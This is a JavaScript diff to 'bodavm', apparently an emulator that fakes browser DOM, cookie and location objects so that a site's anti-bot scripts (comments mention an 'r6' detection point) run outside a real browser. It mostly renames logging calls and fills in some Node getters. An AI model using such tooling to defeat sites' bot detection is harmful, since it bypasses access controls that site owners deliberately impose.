bodavm.memory.formlist.push(dom._boarg) + break; case "p": dom._boarg = bodaobj.document.createElement('p') @@ -2673,10 +2877,10 @@ dom = Object.setPrototypeOf(dom, bodavm.memory.globalobj['HTMLInputElement'].prototype) break default: - console.log(`Document_createElement `, `${tagName}属性未实现 `); + console.log_copy(`Document_createElement `, `${tagName}属性未实现 `); break; } - console.log(`Document_createElement `, `tagName->${tagName} `, dom) + console.log_copy(`Document_createElement `, `tagName->${tagName} `, dom) return dom; } @@ -2685,27 +2889,27 @@ if (bodavm.config.isdebug) { debugger };; if (bodavm.memory.rs6 && bodavm.memory.rs6_body == 0) { bodavm.memory.rs6_body = 1 - console.log(`Document_body_get `, `当前网站为r6使用该功能,否则请关闭`, `body->${null} `); + console.log_copy(`Document_body_get `, `当前网站为r6使用该功能,否则请关闭`, `body->${null} `); return null } let res =bodavm.memory.cache['Document_body_get'] res._boarg = bodaobj.document.body res.__proto__=HTMLBodyElement.prototype - console.log(`Document_body_get `, `body->${res} `); + console.log_copy(`Document_body_get `, `body->${res} `); return res } bodavm.envFunc.Document_domain_get = function Document_domain_get() { let domain = bodaobj.document["domain"] if (bodavm.config.isdebug) { debugger } - console.log(`Document_domain_get `, `${domain} `) + console.log_copy(`Document_domain_get `, `${domain} `) return domain } bodavm.envFunc.Document_domain_set = function Document_domain_set() { let domain = arguments[0] bodaobj.document["domain"] = domain - console.log(`Document_domain_set `, `${domain} `) + console.log_copy(`Document_domain_set `, `${domain} `) if (bodavm.config.isdebug) { debugger } return domain } @@ -2719,10 +2923,10 @@ // let value={} value = bodavm.toolsFunc.setProto(res.nodeName) value._boarg = res //防止this丢失 - console.log(`Document_getElementById `, `id->${id}`, ` res->${value}`); + console.log_copy(`Document_getElementById `, `id->${id}`, ` res->${value}`); return value } else { - console.log(`Document_getElementById `, `id->${id}`, ` res->${null}`); + console.log_copy(`Document_getElementById `, `id->${id}`, ` res->${null}`); return null } @@ -2735,7 +2939,7 @@ // debugger if (bodavm.memory.collection[tagName] && bodavm.memory.collection[tagName].length){ - console.log(`Document_getElementsByTagName 在bodavm.memory.collection[${tagName}] 已存在,直接返回`) + console.log_copy(`Document_getElementsByTagName 在bodavm.memory.collection[${tagName}] 已存在,直接返回`) return bodavm.memory.collection[tagName] } @@ -2777,14 +2981,14 @@ if (target.__proto__ ==Array.prototype){ return true } - console.log(target,`正在删除属性`,propkey,`默认返回false`); + console.log_copy(target,`正在删除属性`,propkey,`默认返回false`); return false } }) bodavm.memory.collection[tagName].__proto__ = bodavm.memory.globalobj['HTMLCollection'].prototype bodavm.memory.collection[tagName]._boarg = taglist - console.log(`Document_getElementsByTagName `, `tagName->${tagName} `, ` taglist->${taglist}`); + console.log_copy(`Document_getElementsByTagName `, `tagName->${tagName} `, ` taglist->${taglist}`); bodavm.memory.collection[tagName].__proto__[Symbol.iterator] = Array.prototype[Symbol.iterator]; // taglist._boisinit=true return bodavm.memory.collection[tagName] @@ -2794,11 +2998,12 @@ bodavm.envFunc.Document_cookie_get = function Document_cookie_get() { // debugger if (this._contentiframe){ - console.log(`iframe下的document获取cookie,直接返回''`); + console.log_copy(`iframe下的document获取cookie,直接返回''`); return '' } let jsonCookie = bodavm.memory.globalInit.jsonCookie; - let tempCookie = ""; + + let tempCookie =""; // debugger for (var key in jsonCookie) { if (key =='hasOwnProperty_bo'){continue} @@ -2809,11 +3014,12 @@ } } // cookie=bodaobj.document.cookie - console.log(`Document_cookie_get `, `cookie -> ${tempCookie}`); + console.log_copy(`Document_cookie_get `, `cookie -> ${tempCookie}`); return tempCookie; } bodavm.envFunc.Document_cookie_set = function Document_cookie_set() { let cookieValue = arguments[0]; + debugger let index = cookieValue.indexOf(";"); if (index !== -1) { cookieValue = cookieValue.substring(0, index); @@ -2827,25 +3033,28 @@ bodavm.memory.globalInit.jsonCookie[k] = v; } // bodaobj.document.cookie=cookieValue - console.log(`Document_cookie_set `, `cookie -> ${cookieValue}`); + console.log_copy(`Document_cookie_set `, `cookie -> ${cookieValue}`); return cookieValue } bodavm.envFunc.document_location_get = function document_location_get() { if (bodavm.config.isdebug) { debugger } - console.log(`document_location_get== `, `Location `); - return bodaobj.document.location; + let location_ = bodavm.memory.globalobj.location + location_._boarg= bodaobj.window['location'] + + console.log_copy(`document_location_get `, `location_->`, location_); + return location_ } bodavm.envFunc.Document_characterSet_get = function Document_characterSet_get() { let characterSet = bodaobj.document['characterSet'] - console.log(`Document_characterSet_get `, `${characterSet} `); + console.log_copy(`Document_characterSet_get `, `${characterSet} `); if (bodavm.config.isdebug) { debugger };; return characterSet } bodavm.envFunc.Document_charset_get = function Document_charset_get() { let charset = bodaobj.document['charset'] - console.log(`Document_characterSet_get `, `${charset} `); + console.log_copy(`Document_characterSet_get `, `${charset} `); if (bodavm.config.isdebug) { debugger };; return charset @@ -2855,27 +3064,27 @@ let title = arguments[0] bodaobj.document["title"] = title - console.log(`Document_title_set `, `${title} `) + console.log_copy(`Document_title_set `, `${title} `) if (bodavm.config.isdebug) { debugger };; return title } bodavm.envFunc.Document_title_get = function Document_title_get() { let title = bodaobj.document["title"] - console.log(`Document_title_get `, `${title} `) + console.log_copy(`Document_title_get `, `${title} `) return title } bodavm.envFunc.Document_dir_set = function Document_dir_set() { let dir = arguments[0] bodaobj.document["dir"] = dir - console.log(`Document_dir_set `, `${dir} `) + console.log_copy(`Document_dir_set `, `${dir} `) if (bodavm.config.isdebug) { debugger };; return dir } bodavm.envFunc.Document_dir_get = function Document_dir_get() { let dir = bodaobj.document["dir"] - console.log(`Document_dir_get `, `${dir} `) + console.log_copy(`Document_dir_get `, `${dir} `) if (bodavm.config.isdebug) { debugger };; return dir @@ -2884,13 +3093,13 @@ bodavm.envFunc.Document_designMode_set = function Document_designMode_set() { let designMode = arguments[0] bodaobj.document["designMode"] = designMode - console.log(`Document_designMode_set `, `${designMode} `) + console.log_copy(`Document_designMode_set `, `${designMode} `) if (bodavm.config.isdebug) { debugger } return designMode } bodavm.envFunc.Document_designMode_get = function Document_designMode_get() { let designMode = bodaobj.document["designMode"] - console.log(`Document_designMode_get `, `${designMode} `) + console.log_copy(`Document_designMode_get `, `${designMode} `) if (bodavm.config.isdebug) { debugger } return designMode } @@ -2906,7 +3115,7 @@ // res._boarg=html res._boisinit=bodavm.config.isinit - console.log(`Document_documentElement_get `, `html->${res} `); + console.log_copy(`Document_documentElement_get `, `html->${res} `); return res } @@ -2915,7 +3124,7 @@ bodavm.envFunc.Document_hidden_get = function Document_hidden_get() { let hidden = bodaobj.document['hidden'] - console.log(`Document_hidden_get `, `${hidden} `); + console.log_copy(`Document_hidden_get `, `${hidden} `); if (bodavm.config.isdebug) { debugger };; return hidden @@ -2924,27 +3133,27 @@ bodavm.envFunc.Document_documentURI_get = function Document_documentURI_get() { if (bodavm.config.isdebug) { debugger } let documentURI = bodaobj.document["documentURI"] - console.log(`Document_documentURI_get `, `${documentURI} `); + console.log_copy(`Document_documentURI_get `, `${documentURI} `); return documentURI } bodavm.envFunc.Document_compatMode_get = function Document_compatMode_get() { if (bodavm.config.isdebug) { debugger } let compatMode = bodaobj.document["compatMode"] - console.log(`Document_compatMode_get `, `${compatMode} `); + console.log_copy(`Document_compatMode_get `, `${compatMode} `); return compatMode } bodavm.envFunc.Document_onmousemove_get = function Document_onmousemove_get() { if (bodavm.config.isdebug) { debugger } let onmousemove = bodaobj.document['onmousemove'] - console.log(`Document_onmousemove_get `, `onmousemove->${onmousemove} `); + console.log_copy(`Document_onmousemove_get `, `onmousemove->${onmousemove} `); return onmousemove } bodavm.envFunc.Document_onselectionchange_get = function Document_onselectionchange_get() { if (bodavm.config.isdebug) { debugger } let onselectionchange = bodaobj.document['onselectionchange'] - console.log(`Document_onselectionchange_get `, `onselectionchange->${onselectionchange} `); + console.log_copy(`Document_onselectionchange_get `, `onselectionchange->${onselectionchange} `); return onselectionchange } @@ -2955,7 +3164,7 @@ res = bodavm.toolsFunc.setProto('html') res._boarg = html // return onselectionchange - console.log(`Document_scrollingElement_get==> `, `html->${html}`); + console.log_copy(`Document_scrollingElement_get==> `, `html->${html}`); return html } @@ -2963,7 +3172,7 @@ //HTMLDivElement bodavm.envFunc.HTMLDivElement_align_get = function HTMLDivElement_align_get() { let align = bodavm.memory.htmldivelement['align'] - console.log(`HTMLDivElement_align_get `, `${align} `) + console.log_copy(`HTMLDivElement_align_get `, `${align} `) if (bodavm.config.isdebug) { debugger };; return align @@ -2971,7 +3180,7 @@ bodavm.envFunc.HTMLDivElement_align_set = function HTMLDivElement_align_set() { let value = arguments[0] bodavm.memory.htmldivelement['align'] = value - console.log(`HTMLDivElement_align_set==> `, `${value} `) + console.log_copy(`HTMLDivElement_align_set==> `, `${value} `) if (bodavm.config.isdebug) { debugger };; return value @@ -2983,13 +3192,13 @@ // debugger let content = this._boarg.content // let value = self.attr["content"] - console.log(`HTMLMetaElement_content_get `, `content->${content.length > 50 ? content.substr(0, 30) + '...' : content} `); + console.log_copy(`HTMLMetaElement_content_get `, `content->${content.length > 50 ? content.substr(0, 30) + '...' : content} `); return content } bodavm.envFunc.HTMLMetaElement_content_set = function HTMLMetaElement_content_set() { var value = arguments[0] - console.log(`HTMLMetaElement_content_set `, `${value} `) + console.log_copy(`HTMLMetaElement_content_set `, `${value} `) if (bodavm.config.isdebug) { debugger } this['_elements'][0].attr["content"] = value return value @@ -2998,7 +3207,7 @@ } bodavm.envFunc.HTMLMetaElement_name_set = function HTMLMetaElement_name_set() { var value = arguments[0] - console.log(`HTMLMetaElement_name_set `, `${value} `, `!!!!!!!!!未完善!!!!!!!!!!!!`) + console.log_copy(`HTMLMetaElement_name_set `, `${value} `, `!!!!!!!!!未完善!!!!!!!!!!!!`) this['_elements'][0].attr["name"] = value if (bodavm.config.isdebug) { debugger } @@ -3009,7 +3218,7 @@ let value = this['_elements'][0].attr["name"] if (bodavm.config.isdebug) { debugger } - console.log(`HTMLMetaElement_name_get `, `${value} `, `!!!!!!!!!未完善!!!!!!!!!!!!`); + console.log_copy(`HTMLMetaElement_name_get `, `${value} `, `!!!!!!!!!未完善!!!!!!!!!!!!`); return value } @@ -3018,7 +3227,7 @@ // Node_replaceChild bodavm.envFunc.Node_replaceChild = function Node_replaceChild() { debugger - console.log(`Node_replaceChild`, `!!!!!!!!!未完善!!!!!!!!!!!!`); + console.log_copy(`Node_replaceChild`, `!!!!!!!!!未完善!!!!!!!!!!!!`); } bodavm.envFunc.Node_textContent_get = function Node_textContent_get() { // debugger @@ -3037,28 +3246,31 @@ }else{ content=this._boarg.textContent } - console.log("Node_textContent_get ", `content ->${content}`, `r6检测点`) + console.log_copy("Node_textContent_get ", `content ->${content}`, `r6检测点`) return content } - bodavm.envFunc.Node_previousSibling_get = function Node_previousSibling_get() { console.log("Node_previousSibling_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Node_ownerDocument_get = function Node_ownerDocument_get() { console.log("Node_ownerDocument_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Node_baseURI_get = function Node_baseURI_get() { console.log("Node_baseURI_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Node_previousSibling_get = function Node_previousSibling_get() { console.log_copy("Node_previousSibling_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Node_ownerDocument_get = function Node_ownerDocument_get() { + res=this._boarg.ownerDocument + console.log_copy("Node_ownerDocument_get ->", `res ->`,res) + } + bodavm.envFunc.Node_baseURI_get = function Node_baseURI_get() { console.log_copy("Node_baseURI_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.Node_childNodes_get = function Node_childNodes_get() { // debugger let Nodelists={} Nodelists._boarg=this._boarg.childNodes Nodelists.__proto__=NodeList.prototype - console.log("Node_childNodes_get ->",`-> res->${Nodelists}`) + console.log_copy("Node_childNodes_get ->",`-> res->${Nodelists}`) return Nodelists } - bodavm.envFunc.Node_isConnected_get = function Node_isConnected_get() { console.log("Node_isConnected_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Node_isConnected_get = function Node_isConnected_get() { console.log_copy("Node_isConnected_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.Node_nextSibling_get = function Node_nextSibling_get() { // debugger res = bodavm.memory.cache['Node_nextSibling_get'] let _next = this._boarg.nextSibling if (_next == null) { - console.log(`Node_nextSibling_get `, `-> res -> null`); + console.log_copy(`Node_nextSibling_get `, `-> res -> null`); return null } else { res = bodavm.toolsFunc.setProto(_next.nodeName) @@ -3066,23 +3278,23 @@ res._boisinit=bodavm.config.isinit } - console.log(`Node_nextSibling_get `, `-> res->${res}`); + console.log_copy(`Node_nextSibling_get `, `-> res->${res}`); return res } bodavm.envFunc.Node_nodeType_get = function Node_nodeType_get() { if (bodavm.config.isdebug) { debugger } // debugger let nodetype = this._boarg.nodeType - console.log(`Node_nodeType_get `, `nodetype ->${nodetype}`); + console.log_copy(`Node_nodeType_get `, `nodetype ->${nodetype}`); return nodetype } - bodavm.envFunc.Node_nodeValue_get = function Node_nodeValue_get() { console.log("Node_nodeValue_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Node_nodeValue_get = function Node_nodeValue_get() { console.log_copy("Node_nodeValue_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.Node_nodeName_get = function Node_nodeName_get() { // debugger nodeName_=this._boarg.nodeName if (bodavm.config.isdebug) { debugger } - console.log(`Node_nodeName_get ->`,` res -> ${ nodeName_}`); + console.log_copy(`Node_nodeName_get ->`,` res -> ${ nodeName_}`); return nodeName_ } bodavm.envFunc.Node_firstChild_get = function Node_firstChild_get() { @@ -3097,7 +3309,7 @@ } else { res = null } - console.log(`Node_firstChild_get `, `-> res->${res}`); + console.log_copy(`Node_firstChild_get `, `-> res->${res}`); return res @@ -3105,21 +3317,22 @@ bodavm.envFunc.Node_insertBefore = function Node_insertBefore() { let newNode = arguments[0] let referenceNode = arguments[1] - console.log(`Node_insertBefore `, `!!!!!!!!!未完善!!!!!!!!!!!! `); + console.log_copy(`Node_insertBefore `, `!!!!!!!!!未完善!!!!!!!!!!!! `); } bodavm.envFunc.Node_lastChild_get = function Node_lastChild_get() { if (bodavm.config.isdebug) { debugger } - console.log(`Node_lastChild_get `, `lastChild->${lastChild} !!!!!!!!!未完善!!!!!!!!!!!! `); + console.log_copy(`Node_lastChild_get `, `lastChild->${lastChild} !!!!!!!!!未完善!!!!!!!!!!!! `); } bodavm.envFunc.Node_cloneNode = function Node_cloneNode() { let mode = arguments[0] - console.log(`Node_cloneNode `, `!!!!!!!!!未完善!!!!!!!!!!!! `); + res=this._boarg.cloneNode(mode) + console.log_copy(`Node_cloneNode ->`, `res ->`,res); - return cloneNode + return res } bodavm.envFunc.Node_parentNode_get = function Node_parentNode_get() { //获取父节点 @@ -3128,7 +3341,7 @@ if (bodavm.config.isdebug) { debugger } let parent = this._boarg.parentNode if (bodavm.memory.cache['Node_parentNode_get']['parent']==parent){ - console.log(`Node_parentNode_get parent在bodavm.memory.cache['Node_parentNode_get']['parent']已存在,直接返回`); + console.log_copy(`Node_parentNode_get parent在bodavm.memory.cache['Node_parentNode_get']['parent']已存在,直接返回`); return bodavm.memory.cache['Node_parentNode_get']['res'] } let res=bodavm.memory.cache['Node_parentNode_get']['res'] @@ -3149,7 +3362,7 @@ res=null } - console.log(`Node_parentNode_get `, `parent->${res} `); + console.log_copy(`Node_parentNode_get `, `parent->${res} `); return res; } bodavm.envFunc.Node_removeChild = function Node_removeChild() { @@ -3159,12 +3372,12 @@ let child = arguments[0] this._boarg.removeChild(child._boarg) let tagname=child._boarg.nodeName - console.log(`Node_removeChild `, `child->${child}`); + console.log_copy(`Node_removeChild `, `child->${child}`); if (bodavm.memory.collection[tagname]){ for (let i = 0; i < bodavm.memory.collection[tagname].length; i++) { if (child ==bodavm.memory.collection[tagname][i]){ debugger - console.log(`当前对象 tagname:${tagname},child:${child} 存在bodavm.memory.collection ,重置bodavm.memory.collection[${tagname}]`) + console.log_copy(`当前对象 tagname:${tagname},child:${child} 存在bodavm.memory.collection ,重置bodavm.memory.collection[${tagname}]`) bodavm.memory.collection[tagname].__proto__=Array.prototype bodavm.memory.collection[tagname].splice(i,1) bodavm.memory.collection[tagname].__proto__=bodavm.memory.globalobj['HTMLCollection'].prototype @@ -3190,7 +3403,7 @@ }else{ parent=null } - console.log(`Node_parentElement_get ->`, `parent ->${parent} `); + console.log_copy(`Node_parentElement_get ->`, `parent ->${parent} `); return parent; @@ -3200,6 +3413,10 @@ if (bodavm.config.isdebug) { debugger };; // debugger let child = arguments[0] + // debugger + + if (child ==this){ + } if (this instanceof HTMLFormElement) { for (let i = 0; i < bodavm.memory.formlist.length; i++) { if (this._boarg == bodavm.memory.formlist[i]) { @@ -3211,89 +3428,117 @@ } } + if (child.id && (this==document.body || this ==document.head || this ==document.documentElement)){ + debugger + // eval(window[child.id]=child=new Proxy(child,{ + // deleteProperty(target,propkey){ - this._boarg.appendChild(child._boarg) + // debugger + // console.log(`Node_appendChild window[`,child.id,']',`正在删除属性 target ->`,target,`propkey ->`,propkey); + // return true + // } + // })) + // eval(`${arguments[0]=new Proxy(arguments[0],{})}`) + // window[child.id]=new Proxy(child,{ + + // }) + // window[child.id]= + window[child.id]=child + // window[child.id]=new Proxy(window[child.id],{ + // deleteProperty(){ + // debugger + // } + // }) + + } + try{ + this._boarg.appendChild(child._boarg) + + }catch{ + return bodavm.toolsFunc.throwError('DOMException',`Failed to execute 'appendChild' on 'Node': The new child element contains the parent.`) + + } // bobo$(this._boarg).append(child._boarg) - console.log(`Node_appendChild `, `child->${child}`); + console.log_copy(`Node_appendChild `, `child->${child}`); return child } //Element - bodavm.envFunc.Element_ariaAtomic_get = function Element_ariaAtomic_get() { console.log("Element_ariaAtomic_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaAutoComplete_get = function Element_ariaAutoComplete_get() { console.log("Element_ariaAutoComplete_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaBusy_get = function Element_ariaBusy_get() { console.log("Element_ariaBusy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaChecked_get = function Element_ariaChecked_get() { console.log("Element_ariaChecked_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaColCount_get = function Element_ariaColCount_get() { console.log("Element_ariaColCount_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaDescription_get = function Element_ariaDescription_get() { console.log("Element_ariaDescription_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaCurrent_get = function Element_ariaCurrent_get() { console.log("Element_ariaCurrent_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaColSpan_get = function Element_ariaColSpan_get() { console.log("Element_ariaColSpan_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaColIndex_get = function Element_ariaColIndex_get() { console.log("Element_ariaColIndex_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaDisabled_get = function Element_ariaDisabled_get() { console.log("Element_ariaDisabled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaExpanded_get = function Element_ariaExpanded_get() { console.log("Element_ariaExpanded_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaHasPopup_get = function Element_ariaHasPopup_get() { console.log("Element_ariaHasPopup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaHidden_get = function Element_ariaHidden_get() { console.log("Element_ariaHidden_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaInvalid_get = function Element_ariaInvalid_get() { console.log("Element_ariaInvalid_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaKeyShortcuts_get = function Element_ariaKeyShortcuts_get() { console.log("Element_ariaKeyShortcuts_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaLevel_get = function Element_ariaLevel_get() { console.log("Element_ariaLevel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaLabel_get = function Element_ariaLabel_get() { console.log("Element_ariaLabel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaLive_get = function Element_ariaLive_get() { console.log("Element_ariaLive_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaModal_get = function Element_ariaModal_get() { console.log("Element_ariaModal_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaMultiLine_get = function Element_ariaMultiLine_get() { console.log("Element_ariaMultiLine_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaMultiSelectable_get = function Element_ariaMultiSelectable_get() { console.log("Element_ariaMultiSelectable_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaOrientation_get = function Element_ariaOrientation_get() { console.log("Element_ariaOrientation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaPlaceholder_get = function Element_ariaPlaceholder_get() { console.log("Element_ariaPlaceholder_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaPosInSet_get = function Element_ariaPosInSet_get() { console.log("Element_ariaPosInSet_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaPressed_get = function Element_ariaPressed_get() { console.log("Element_ariaPressed_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaReadOnly_get = function Element_ariaReadOnly_get() { console.log("Element_ariaReadOnly_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaRequired_get = function Element_ariaRequired_get() { console.log("Element_ariaRequired_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaRelevant_get = function Element_ariaRelevant_get() { console.log("Element_ariaRelevant_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaRoleDescription_get = function Element_ariaRoleDescription_get() { console.log("Element_ariaRoleDescription_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaRowCount_get = function Element_ariaRowCount_get() { console.log("Element_ariaRowCount_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaRowIndex_get = function Element_ariaRowIndex_get() { console.log("Element_ariaRowIndex_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaRowSpan_get = function Element_ariaRowSpan_get() { console.log("Element_ariaRowSpan_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaSelected_get = function Element_ariaSelected_get() { console.log("Element_ariaSelected_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaSort_get = function Element_ariaSort_get() { console.log("Element_ariaSort_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaSetSize_get = function Element_ariaSetSize_get() { console.log("Element_ariaSetSize_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaValueMax_get = function Element_ariaValueMax_get() { console.log("Element_ariaValueMax_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaValueMin_get = function Element_ariaValueMin_get() { console.log("Element_ariaValueMin_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaValueNow_get = function Element_ariaValueNow_get() { console.log("Element_ariaValueNow_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaValueText_get = function Element_ariaValueText_get() { console.log("Element_ariaValueText_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_assignedSlot_get = function Element_assignedSlot_get() { console.log("Element_assignedSlot_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_attributeStyleMap_get = function Element_attributeStyleMap_get() { console.log("Element_attributeStyleMap_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_childElementCount_get = function Element_childElementCount_get() { console.log("ElementCount_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_classList_get = function Element_classList_get() { console.log("Element_classList_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_className_get = function Element_className_get() { console.log("Element_className_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_elementTiming_get = function Element_elementTiming_get() { console.log("Element_elementTiming_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_firstElementChild_get = function Element_firstElementChild_get() { console.log("ElementChild_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_lastElementChild_get = function Element_lastElementChild_get() { console.log("ElementChild_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_localName_get = function Element_localName_get() { console.log("Element_localName_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_namespaceURI_get = function Element_namespaceURI_get() { console.log("Element_namespaceURI_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_nextElementSibling_get = function Element_nextElementSibling_get() { console.log("ElementSibling_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_onbeforecopy_get = function Element_onbeforecopy_get() { console.log("Element_onbeforecopy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_onbeforecut_get = function Element_onbeforecut_get() { console.log("Element_onbeforecut_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_onbeforepaste_get = function Element_onbeforepaste_get() { console.log("Element_onbeforepaste_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_onfullscreenchange_get = function Element_onfullscreenchange_get() { console.log("Element_onfullscreenchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_onfullscreenerror_get = function Element_onfullscreenerror_get() { console.log("Element_onfullscreenerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_onsearch_get = function Element_onsearch_get() { console.log("Element_onsearch_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_onwebkitfullscreenchange_get = function Element_onwebkitfullscreenchange_get() { console.log("Element_onwebkitfullscreenchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_onwebkitfullscreenerror_get = function Element_onwebkitfullscreenerror_get() { console.log("Element_onwebkitfullscreenerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_part_get = function Element_part_get() { console.log("Element_part_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_prefix_get = function Element_prefix_get() { console.log("Element_prefix_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_previousElementSibling_get = function Element_previousElementSibling_get() { console.log("ElementSibling_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_scrollHeight_get = function Element_scrollHeight_get() { console.log("Element_scrollHeight_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_shadowRoot_get = function Element_shadowRoot_get() { console.log("Element_shadowRoot_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_scrollWidth_get = function Element_scrollWidth_get() { console.log("Element_scrollWidth_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_slot_get = function Element_slot_get() { console.log("Element_slot_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaAtomic_get = function Element_ariaAtomic_get() { console.log_copy("Element_ariaAtomic_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaAutoComplete_get = function Element_ariaAutoComplete_get() { console.log_copy("Element_ariaAutoComplete_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaBusy_get = function Element_ariaBusy_get() { console.log_copy("Element_ariaBusy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaChecked_get = function Element_ariaChecked_get() { console.log_copy("Element_ariaChecked_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + 